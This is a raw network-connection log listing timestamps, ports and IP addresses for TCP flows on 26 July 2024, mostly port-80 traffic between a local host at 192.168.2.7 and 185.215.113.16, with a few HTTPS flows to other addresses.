Jul 26, 2024 08:58:02.241637945 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.241950989 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.241982937 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.242016077 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.242476940 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.242510080 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.242544889 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.242577076 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.242609024 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.243350029 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.243396044 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.243427992 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.243458986 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.243489981 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.244272947 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.244303942 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.244334936 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.244365931 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.244395971 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.244430065 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.245197058 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.245243073 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.245275021 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.245306969 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.245337963 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.245368958 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.246108055 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.246141911 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.246172905 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.246205091 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.246237040 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.246939898 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.251096964 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.251147032 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.251179934 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.251396894 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.251574039 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.251605988 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.251638889 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.251667023 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.255208969 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:02.257230043 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.257313013 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.257364988 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.257566929 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.257600069 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.257632971 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.257852077 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:02.257883072 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:02.257906914 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:02.257956028 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:02.258070946 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.258101940 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.258121014 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:02.258121014 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:02.258136034 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.258239985 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:02.258543968 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:02.258604050 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.258636951 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.258671045 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.258698940 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.258780956 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:02.258780956 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:02.259107113 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.259139061 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.259500980 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.259531975 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.259563923 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.259596109 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.259628057 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.260581017 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.260613918 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.260646105 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.260678053 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.260709047 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.260744095 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.260766029 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:02.260776997 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:02.260890007 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:02.261358023 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.261390924 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.261423111 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.261439085 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:02.261470079 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.261497974 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:02.261503935 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.261619091 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:02.262257099 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.262290001 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.262315035 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:02.262329102 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.262361050 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.262387991 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:02.262454033 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:02.268965960 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.269045115 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.269078016 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.269207001 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:02.269424915 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.269457102 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.269489050 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.269522905 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.269540071 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:02.269540071 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:02.269726038 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:02.270077944 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.270111084 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.270195961 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:02.270212889 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:02.270452023 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.270483017 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.270502090 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:02.270515919 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.270548105 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.270579100 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.270602942 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:02.270602942 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:02.270661116 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:02.271398067 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.271430969 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.271461964 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.271493912 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.271524906 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.271558046 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.272285938 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.272325993 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.272358894 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.272389889 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.272422075 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.273210049 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.273242950 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.286444902 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:02.287420034 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.287425041 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:02.287533998 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.287550926 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:02.287565947 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.287786961 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.287820101 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.287853956 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.287970066 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:02.288145065 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.288228035 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:02.328757048 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.328936100 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.328973055 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:02.328985929 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.329159975 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.329195023 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.329227924 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:02.329229116 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:02.329303980 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:02.329536915 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.329570055 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.329602957 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.329607010 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:02.329634905 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.329670906 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.329715014 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:02.329715014 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:02.330375910 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.330408096 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.330425024 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:02.330441952 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.330473900 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.330506086 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.330573082 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:02.330573082 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:02.331334114 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.331366062 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.331384897 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:02.331398964 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.331430912 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.331464052 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.331494093 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:02.331494093 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:02.331496000 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.331521988 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:02.331703901 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:02.332232952 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.332264900 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.332297087 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.332307100 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:02.332334042 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.332366943 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.332384109 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:02.332385063 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:02.332401037 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.332679033 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:02.339076996 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:02.339175940 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:02.782722950 CEST	80	49800	185.215.113.19	192.168.2.7
Jul 26, 2024 08:58:02.782830000 CEST	49800	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:58:02.783628941 CEST	49800	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:58:02.788526058 CEST	80	49800	185.215.113.19	192.168.2.7
Jul 26, 2024 08:58:03.042865992 CEST	80	49800	185.215.113.19	192.168.2.7
Jul 26, 2024 08:58:03.044022083 CEST	49800	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:58:03.079232931 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:03.086338043 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.219332933 CEST	49800	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:58:03.220319033 CEST	49803	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:58:03.225097895 CEST	80	49803	185.215.113.19	192.168.2.7
Jul 26, 2024 08:58:03.226182938 CEST	80	49800	185.215.113.19	192.168.2.7
Jul 26, 2024 08:58:03.231420994 CEST	49800	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:58:03.231420994 CEST	49803	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:58:03.233967066 CEST	49803	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:58:03.238759041 CEST	80	49803	185.215.113.19	192.168.2.7
Jul 26, 2024 08:58:03.273377895 CEST	49772	443	192.168.2.7	172.64.41.3
Jul 26, 2024 08:58:03.273448944 CEST	443	49772	172.64.41.3	192.168.2.7
Jul 26, 2024 08:58:03.273636103 CEST	443	49772	172.64.41.3	192.168.2.7
Jul 26, 2024 08:58:03.274765968 CEST	49771	443	192.168.2.7	172.64.41.3
Jul 26, 2024 08:58:03.274817944 CEST	443	49771	172.64.41.3	192.168.2.7
Jul 26, 2024 08:58:03.274903059 CEST	49798	443	192.168.2.7	142.250.176.206
Jul 26, 2024 08:58:03.274935961 CEST	49799	443	192.168.2.7	142.250.176.206
Jul 26, 2024 08:58:03.274956942 CEST	443	49798	142.250.176.206	192.168.2.7
Jul 26, 2024 08:58:03.274971962 CEST	49770	443	192.168.2.7	172.64.41.3
Jul 26, 2024 08:58:03.274971962 CEST	49769	443	192.168.2.7	172.64.41.3
Jul 26, 2024 08:58:03.274990082 CEST	443	49799	142.250.176.206	192.168.2.7
Jul 26, 2024 08:58:03.274992943 CEST	443	49771	172.64.41.3	192.168.2.7
Jul 26, 2024 08:58:03.275037050 CEST	443	49769	172.64.41.3	192.168.2.7
Jul 26, 2024 08:58:03.275043964 CEST	443	49770	172.64.41.3	192.168.2.7
Jul 26, 2024 08:58:03.275063992 CEST	49760	443	192.168.2.7	142.250.186.142
Jul 26, 2024 08:58:03.275134087 CEST	443	49760	142.250.186.142	192.168.2.7
Jul 26, 2024 08:58:03.275278091 CEST	443	49799	142.250.176.206	192.168.2.7
Jul 26, 2024 08:58:03.275300026 CEST	443	49798	142.250.176.206	192.168.2.7
Jul 26, 2024 08:58:03.275341988 CEST	443	49769	172.64.41.3	192.168.2.7
Jul 26, 2024 08:58:03.275391102 CEST	443	49760	142.250.186.142	192.168.2.7
Jul 26, 2024 08:58:03.275450945 CEST	443	49770	172.64.41.3	192.168.2.7
Jul 26, 2024 08:58:03.287328005 CEST	49772	443	192.168.2.7	172.64.41.3
Jul 26, 2024 08:58:03.287328005 CEST	49772	443	192.168.2.7	172.64.41.3
Jul 26, 2024 08:58:03.287329912 CEST	49771	443	192.168.2.7	172.64.41.3
Jul 26, 2024 08:58:03.287347078 CEST	49798	443	192.168.2.7	142.250.176.206
Jul 26, 2024 08:58:03.287355900 CEST	49799	443	192.168.2.7	142.250.176.206
Jul 26, 2024 08:58:03.289324999 CEST	49771	443	192.168.2.7	172.64.41.3
Jul 26, 2024 08:58:03.289419889 CEST	49760	443	192.168.2.7	142.250.186.142
Jul 26, 2024 08:58:03.289432049 CEST	49799	443	192.168.2.7	142.250.176.206
Jul 26, 2024 08:58:03.289446115 CEST	49798	443	192.168.2.7	142.250.176.206
Jul 26, 2024 08:58:03.289565086 CEST	49760	443	192.168.2.7	142.250.186.142
Jul 26, 2024 08:58:03.289814949 CEST	49769	443	192.168.2.7	172.64.41.3
Jul 26, 2024 08:58:03.289814949 CEST	49770	443	192.168.2.7	172.64.41.3
Jul 26, 2024 08:58:03.289814949 CEST	49769	443	192.168.2.7	172.64.41.3
Jul 26, 2024 08:58:03.289814949 CEST	49770	443	192.168.2.7	172.64.41.3
Jul 26, 2024 08:58:03.323882103 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.323976040 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.323986053 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.324101925 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.324222088 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.324232101 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.324594021 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.324604988 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.324615955 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.324626923 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.325056076 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.325067997 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.325078011 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.325088978 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.325579882 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.325589895 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.325607061 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.325618982 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.326122046 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.326133013 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.326143026 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.326153040 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.326709032 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.326718092 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.326729059 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.326739073 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.326750040 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.326760054 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.327600956 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.327617884 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.327627897 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.327637911 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.327646971 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.327657938 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.327668905 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.328450918 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.328463078 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.328473091 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.328490973 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.329288006 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.329298019 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.329308033 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.329319000 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.329329967 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.329340935 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.330184937 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.330197096 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.330207109 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.330218077 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.330228090 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.330240011 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.330249071 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.331104994 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.331118107 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.331127882 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.331137896 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.331147909 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.331159115 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.331168890 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.331984043 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.331996918 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.332006931 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.332016945 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.332026958 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.332036972 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.332240105 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:03.332240105 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:03.332308054 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:03.332308054 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:03.332364082 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:03.332406044 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:03.332442045 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:03.332729101 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:03.332875013 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.332886934 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.332896948 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.332907915 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.332916975 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.332927942 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.332937956 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.333780050 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.333791018 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.333801985 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.333812952 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.333822966 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.333833933 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.333843946 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.334320068 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:03.334702969 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.334713936 CEST	80	49787	185.215.113.16	192.168.2.7
